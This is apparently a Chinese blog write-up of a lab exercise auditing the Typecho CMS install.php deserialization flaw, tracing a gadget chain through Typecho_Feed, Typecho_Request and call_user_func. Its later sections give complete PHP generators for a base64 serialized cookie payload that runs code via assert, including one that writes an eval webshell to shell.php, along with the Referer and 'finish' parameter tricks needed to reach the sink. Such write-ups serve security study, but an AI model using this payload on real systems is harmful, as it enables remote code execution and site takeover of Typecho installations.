typecho靶场代码审计

序列化与反序列化漏洞(tyoecho2代码审计)超详解

靶场示例

在这里插入图片描述

1、全局搜索危险函数unserialize

在这里插入图片描述

2、双击进入id=1 /install.php文件

根据提示这个漏洞的入口点就在这个文件中

在这里插入图片描述

install.php 第230行

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
//注意:这里的Typecho_Cookie是传入的数据

这段代码的意思是先Typecho_Cookie类调用get()方法,然后得到的结果进行base64编码,然后再把编码后的结果进行反序列化,最后赋值给$config

理解了这段代码之后我们要明白,Typecho_Cookie是get()方法的参数,它的来源,我们就要去仔细的看看get()方法具体是什么

这里有个小方法,就是把网站的源代码放到phpStorm中,方便我们进行函数的查找(方法 按住crtl 然后鼠标双击函数,就可以自动查找)

查找get函数的具体内容

(如图)在Cookie.php的83-88行

在这里插入图片描述

public static function get($key, $default = NULL)
{
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
}

代码理解:首先是 Typecho_Cookie类中定义了一个公有的静态方法get(),参数有$key

然后用 self::$_prefix$key进行拼接,得到一个新的$key

这里我们来理解一下 self::$_prefix ::是类的操作符,用来调用这个类中的这个方法,如图(就在这个文件里面的53-62行)

在这里插入图片描述

再往前就是

在这里插入图片描述

这时就可以得出结论$key = self::$_prefix . $key;就只是确保唯一前缀$key的方法

好的我们继续理解

$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;

先判断$_COOKIE[$key]是否存在,如果存在就把 $_COOKIE[$key]赋值给 $value,如果不存在就判断是否存在$_POST[$key]就是POST传过来的参数中有没有$key,如果有就把$_POST[$key]赋值给 $value,否则就是默认为空

最后判断$value是不是为数组,如果是数组的话,就返回默认,不是的话就返回$value

因为这个$key是可以从cookie中获取,也可以通过POST获取,所以这个是可以控制的,从而这个get()方法是可以控制的,所以__typecho_config参数是可控的。

理清思路继续审计

所以现在我们就要想办法让代码执行到这一行,于是我先在这一行的前面设置了一个 ehco "执行到这里了" 然后跟上die()函数如图

在这里插入图片描述

然后尝试着访问这个页面

发现没有任何的反应

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

说明我们没有满足前面代码的条件,没有执行到这里,于是就要从前往后继续审计代码

1-56行

在这里插入图片描述

可以看到这里都是一些文件包含代码,还有就是程序的初始化代码,这个我们不用理会,继续往下看

58-61行

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

这里首先判断get参数中有没有finish,如果有的话就取反,执行exit退出程序,但是我们不能让它在此时退出,因为还没有执行到我们代码更改的地方,所以我们等会抓包要在get参数中加入finish参数。

第二个判断条件是是否存在/config.inc.php的文件,如果有的话,会退出,根据我们之前搭建网站的经验,这个是在网站成功搭建后,自动生成的锁定文件,就是为了防止轻易的被人重置网站。

第三个是判断$_SESSION['typecho']中是否为空

这三个判断条件是用&&连接的,所以我们只要有一个不满足,程序就不会退出

我们只需要在抓包后get参数中添加一个finish程序就能正常往下执行了

然后我们继续往下审计

63-77行

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
	if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

这里是判断$_GET$_POST是不是为空,不为空的话就执行下一步判断,if (empty($_SERVER['HTTP_REFERER']))判断referer头是不是存在,不存在的话就执行退出,所以我们等会在抓包之后要添加上referer头,阻止它在这里退出。

$parts = parse_url($_SERVER['HTTP_REFERER']);//
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
    $parts['host'] = "{$parts['host']}:{$parts['port']}";
     //将主机信息更新为主机和端口的组合
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
    exit;
}

这里是检测数据包中,host是不是为空,为空就退出程序,或者,是判断请求头的host与referer头的host不一致,也会执行退出,所以我们添加上的referer头要与请求头的host保持一致,防止程序执行到这里就退出了

78-188行

这段代码都没有退出程序的函数,只要前面的条件满足了,我们就可以顺利的执行下去,因此我们不用理会,继续审计

190-208行

这段代码是html的代码,不影响程序的执行不用管

209-227行

<div class="container">
    <div class="row">
    <div class="col-mb-12 col-tb-8 col-tb-offset-2">
    <div class="column-14 start-06 typecho-install">
    <?php if (isset($_GET['finish'])) : ?>
        <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
            <h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
            <div class="typecho-install-body">
            <form method="post" action="?config" name="config">
            <p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
            </form>
            </div>
            <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                <h1 class="typecho-install-title"><?php _e('没有安装!'); ?></h1>
                <div class="typecho-install-body">
                <form method="post" action="?config" name="config">
                <p class="message error"><?php _e('您没有执行安装步骤,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
                </form>
                </div>

首先判断get参数里面有没有finish,有的话就执行下一个if判断<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>然后又看是不是存在/config.inc.php不过这里的我们是存在的,因为已经安装过,所以不影响,<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>这里判断是不是有__typecho_config,我们之前就说了要构造 __typecho_config才能执行到目标代码处

此时我们就可以构造一部分代码,让我们先执行到我们写的die()函数的地方了

开启抓包构造,使代码执行到反序列化的地方

构造过程

在这里插入图片描述

验证成功,执行到我设置的断点处了

在这里插入图片描述

3、再次整理思路,继续审计 /install.php

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

此时我们就要思考一下,我们都能构造数据包走到反序列化的代码了,那么反序列化之后的$config又被带到哪里去执行或者是在哪被调用了,这个时候就要接着审计了

232行

$db = new Typecho_Db($config['adapter'], $config['prefix']);

这行代码将$config进行了实例化,$config['adapter']同时他这样实例化$congfig说明此时的$config是一个对象,所以我们在后面构造payload的时候,$congfig要是一个对象,且至少要包含adapter和prefix两个键。

示例

$config =[
    'adapter' => ssssssss,
    'prefix' => ssssss
];

紧接着我们要看Typecho_Db里面到底有什么东西

进入Typecho_Db 此时文件为Db.php

在这里插入图片描述

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

这部分的代码是固定的,我们不用去关注了

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

我们只需要去关注114-120行代码

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

__construct是一个魔术方法

里面是实现对适配器名称的拼接功能

此时我们要思考,传进来的$adapterName到底是什么类型,如果是对象的话,在后面实例化的时候就会出现报错,从而去调用toString方法,

果然后面马上就是实例化

$this->_adapter = new $adapterName();

所以我们要去想办法传入一个对象,同时的话需要去准备一个对象,我们需要找一个类,并且类里面必须有__toString

4、全局搜索toString

在这里插入图片描述

发现这里有三个,分别是id=2,id=3,id=4,此时我们需要去判断这三个有toString的类是否是有漏洞点

4.1 进入id=2 Config.php

在这里插入图片描述

这里直接序列化之后就没有了,无法利用,排除

4.2进入id=3 Feed.php

在这里插入图片描述

此时使用phpstrom更方便

在这里插入图片描述

4.2.1、 255行
$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

$result里面是头文件,没有利用价值

4.2.2、 227-242行
if (self::RSS1 == $this->_type) {
    $result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;

    $content = '';
    $links = array();
    $lastUpdate = 0;

    foreach ($this->_items as $item) {
        $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
        $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
        $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
        $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
        $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;

这部分基本都是写的固定的内容,并没有什么可以利用的漏洞点,我们就排除了这个if

接着我们看第一个else if的内容

4.2.3、 272行 else if()中的内容
else if (self::RSS2 == $this->_type) {
    $result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

    $content = '';
    $lastUpdate = 0;

    foreach ($this->_items as $item) {
        $content .= '<item>' . self::EOL;
        $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
        $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
        $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
        $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
        $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

        if (!empty($item['category']) && is_array($item['category'])) {
            foreach ($item['category'] as $category) {
                $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
            }
        }

        if (!empty($item['excerpt'])) {
            $content .= '<description><![CDATA[' . strip_tags($item['excerpt']) . ']]></description>' . self::EOL;
        }

        if (!empty($item['content'])) {
            $content .= '<content:encoded xml:lang="' . $this->_lang . '"><![CDATA['
                . self::EOL .
                    $item['content'] . self::EOL .
                    ']]></content:encoded>' . self::EOL;
        }

        if (isset($item['comments']) && strlen($item['comments']) > 0) {
            $content .= '<slash:comments>' . $item['comments'] . '</slash:comments>' . self::EOL;
        }

        $content .= '<comments>' . $item['link'] . '#comments</comments>' . self::EOL;
        if (!empty($item['commentsFeedUrl'])) {
            $content .= '<wfw:commentRss>' . $item['commentsFeedUrl'] . '</wfw:commentRss>' . self::EOL;
        }

        if (!empty($item['suffix'])) {
            $content .= $item['suffix'];
        }

        $content .= '</item>' . self::EOL;

        if ($item['date'] > $lastUpdate) {
            $lastUpdate = $item['date'];
        }
    }

    $result .= '<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<atom:link href="' . $this->_feedUrl . '" rel="self" type="application/rss+xml" />
<language>' . $this->_lang . '</language>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<lastBuildDate>' . $this->dateFormat($lastUpdate) . '</lastBuildDate>
<pubDate>' . $this->dateFormat($lastUpdate) . '</pubDate>' . self::EOL;

    $result .= $content . '</channel>
</rss>';

}

首先我们查看要满足什么条件才能触发这里

else if (self::RSS2 == $this->_type) 

在这里插入图片描述

经过查询,要RSS2='RSS 2.0’才能触发这个条件

接着往下看

4.2.4、 290行
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
$item['author']->screenName

这里调用了screenName属性
说明前面的是一个对象

这里要联想到get的魔术方法
如果想让这里取调用__get方法,需要找一个类

这个类要满足的条件

  • 类里面必须要有__get()方法
  • 且不能有screenName属性
  • 或者screenName属性为私有的或者受保护的
4.2.5、 全局搜索__get(方法

在这里插入图片描述

id=1
public function __get($prefix)
{
    return new IXR_Client($this->server, $this->path, $this->port, $this->useragent, $this->prefix . $prefix . '.');
}

这里返回的是一个实体化的类,我们进去查找一下

在这里插入图片描述

发现这里面都是一些固定的配置文件,无法利用,不用再管了

id=2
public function __get($name)
{
    return isset($this->_currentConfig[$name]) ? $this->_currentConfig[$name] : NULL;
}
  • 检查$this->_currentConfig[$name]有没有存在$name的键
  • 如果存在则返回键对应的值
  • 如果不存在则返回null

因为这个数组里面的东西不可控,就不用再管这个了

id=3
public function __get($name)
{
    switch ($name) {
        case 'year':
            return date('Y', $this->timeStamp);
        case 'month':
            return date('m', $this->timeStamp);
        case 'day':
            return date('d', $this->timeStamp);
        default:
            return;
    }

定义了一些时间格式,返回给我们一些格式化的东西

这里的话也不用再费精力了

id=4
public function __get($component)
{
    $this->_component = $component;
    return $this;
}
  • 将属性名$component作为参数传递

  • 属性名$component赋值给类的变量_component

    这里也是我们无法利用的,所以不用再管了

id=5
public function __get($key)
{
    return $this->get($key);
}
  • 把$key传递给get方法

    这里可以尝试去查找一下跳跃到5、代码审计

4.3 进入id=4 Query.php

在这里插入图片描述

这边是sql语句的增删改查,里面预定义了一些sql语句,无法利用的

5、代码审计 /var/Typecho/Request.php

5.1 293-309

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

这里的$key表示传递过来的参数

 case isset($this->_params[$key]):

首先检查_params数组里面有没有$key,如果有就赋值给$value

此时就要想,如果我们构造好payload,想要传进来的$key是谁?

5.2 307-308

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);

这段代码的意思是,如果value不是一个数组,并且长度大于零,那么value就是他自己。也就是说,我们不传数组,传一个字符串,就会继续执行就回去调用_applyFilter。

此时就要去看_applyFilter具体内容了

5.3 159-170

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

这里就存在一个我们很熟悉的漏洞了(RCE)

call_user_func()是调用回调函数,这里的$fileter是一个数组,$value是一个函数

代码解读

如果$this->_filter是一个数组,将进行数组的循环遍历,名为$filter,

如果$value是一个数组就执行,array_map()函数,如果不是就执行call_user_func(),这里我们肯定要想方设法的让它去执行调用回调函数,因为这样我们就可以远程的写入代码了

示例

call_user_func($filter,$value);
//如果$filter为assert
//如果$value为phpinfo()
再经过回调函数处理就是
assert(phpinfo())这样就可以弄成代码执行了

到此为止,漫长的代码审计结束了,我们就根据之前收集的信息,一步一步的构造payload即可。

6、构造payload

构造的思路,我们是从执行反序列化的代码开始=>然后想到了去执行toString=>接着因为看到了调用screenName这个数组属性的方法,想到的可以去执行__get()魔术方法,于是去搜索=>在审计__get()方法中,又在id=5发现了可控的get()方法=>然后发现了_applyFilter方法,由此发现了代码的执行漏洞

我们可以顺着上述的线索,构造payload了

6.1 为什么adapter要是一个数组

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);

$config是一个对象,并且是一个数组,$config传给了adapter,所以adapter也必须是一个数组对象,并且必须存在

$config =[
    'adapter' => 123456,
    'prefix' => typecho_
];

同时prefix的值必须为typecho_

在这里插入图片描述

6.2 tostring方法

在Feed.php中的Typecho_Feed类中,所以我们需要去构造一个

需要满足else if (self::*RSS2* == $this->_type)

满足_type=RSS2
payload里面要加上_type=RSS2

原因这个要满足条件才能执行
在这里插入图片描述

在这里插入图片描述

所以这个类构造为

<?php
class Typecho_Feed{
    
    const RSS2 = 'RSS 2.0';
    
    private $_type;
    
    public function __construct(){
        $this->_type='RSS 2.0';
    }
}

此时继续往下走,到foreach里面

  • 要去确定$item数组里面有哪些东西?

    • title、link、date、author
    • $item数组又在_items数组里面
    • 所以可以把_items数组里面的第一个元素给$item数组
<?php
class Typecho_Feed{
    
    const RSS2 = 'RSS 2.0';
    
    private $_type;
    
    private $_items = array();
    
    public function __construct(){
        $this->_type='RSS 2.0';
        
        $this->_items[0]=array(
            'title' => 'test',
            'link' => 12312,
            'date' => 2023,
            'author' => 这里要思考给什么?
        );
    }
}

在这里插入图片描述

这里为了去调用get方法

  • 此时author,应该是Request.php里面的Typecho_Request
  • 在这里插入图片描述
<?php
class Typecho_Feed{
    
    const RSS2 = 'RSS 2.0';
    
    private $_type;
    
    private $_items = array();
    
    public function __construct(){
        $this->_type='RSS 2.0';
        
        $this->_items[0]=array(
            'title' => 'test',
            'link' => 12312,
            'date' => 2023,
            'author' => new Typecho_Request()
        );
    }
}

class Typecho_Request{
    private $_params = array(
        'screenName' => 值应该是什么?
    );
}

再往下进入到_applyFilter

$key传入

在这里插入图片描述

<?php
class Typecho_Feed{
    
    const RSS2 = 'RSS 2.0';
    
    private $_type;
    
    private $_items = array();
    
    public function __construct(){
        $this->_type='RSS 2.0';
        
        $this->_items[0]=array(
            'title' => 'test',
            'link' => 12312,
            'date' => 2023,
            'author' => new Typecho_Request()
        );
    }
}

class Typecho_Request{
    private $_params = array(
        'screenName' => 'phpinfo();'
    );
    
    private $_filter = array(
        'assert'
    );
}

此时的$_filter也是一个数组,所以此时上面的两个条件就都满足了

最后将这个序列化一下,编码

<?php
class Typecho_Feed{
    
    const RSS2 = 'RSS 2.0';
    
    private $_type;
    
    private $_items = array();
    
    public function __construct(){
        $this->_type='RSS 2.0';
        
        $this->_items[0]=array(
            'title' => 'test',
            'link' => 12312,
            'date' => 2023,
            'author' => new Typecho_Request()
        );
    }
}

class Typecho_Request{
    private $_params = array(
        'screenName' => 'die(phpinfo());'
    );
    
    private $_filter = array(
        'assert'
    );
}

$config =[
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
];

$data = serialize($config);

$data = base64_encode($data);
echo $data

payload构造完毕,进行访问,生成序列化后且进行了base64加密的代码。

在这里插入图片描述

同时这里要注意用die()函数在phpinfo()执行完毕之后停止,不然会报错的

在这里插入图片描述

7、写shell

//只需要改
 'screenName' => 'die(file_put_contents("shell.php","<?php eval(\$_REQUEST[123]);?>"));'
<?php
class Typecho_Feed{

    const RSS2 = 'RSS 2.0';

    private $_type;

    private $_items = array();

    public function __construct(){
        $this->_type='RSS 2.0';

        $this->_items[0]=array(
            'title' => 'test',
            'link' => 12312,
            'date' => 2023,
            'author' => new Typecho_Request()
        );
    }
}

class Typecho_Request{
    private $_params = array(
        'screenName' => 'die(file_put_contents("shell.php","<?php eval(\$_REQUEST[123]);?>"));'
    );

    private $_filter = array(
        'assert'
    );
}

$config =[
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
];

$data = serialize($config);

$data = base64_encode($data);
echo $data;

还是跟前面步骤一样,先访问这个文件,获取到序列化后,且进行base64加密后的内容,再从目标网站进行抓包操作,修改前面提到的三个点

在这里插入图片描述

后面连接蚁剑这里就不再赘述了

  • 15
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落樱坠入星野

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值